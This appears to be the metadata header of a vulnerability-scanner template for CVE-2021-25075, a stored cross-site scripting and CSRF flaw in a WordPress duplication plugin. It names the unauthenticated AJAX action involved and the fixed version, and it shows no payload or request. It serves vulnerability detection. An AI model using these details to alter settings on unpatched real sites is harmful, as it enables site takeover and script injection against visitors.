CVE-2021-25075: WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting

id: CVE-2021-25075

info:
  name: WordPress Duplicate Page or Post <1.5.1 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: low
  description: |
    WordPress Duplicate Page or Post plugin before 1.5.1 contains a stored cross-site scripting vulnerability. The plugin does not have any authorization and has a flawed cross-site request forgery check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing unauthenticated users to call it and change the plugin's settings, or perform such attack via cross-site request forgery.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.5.1.
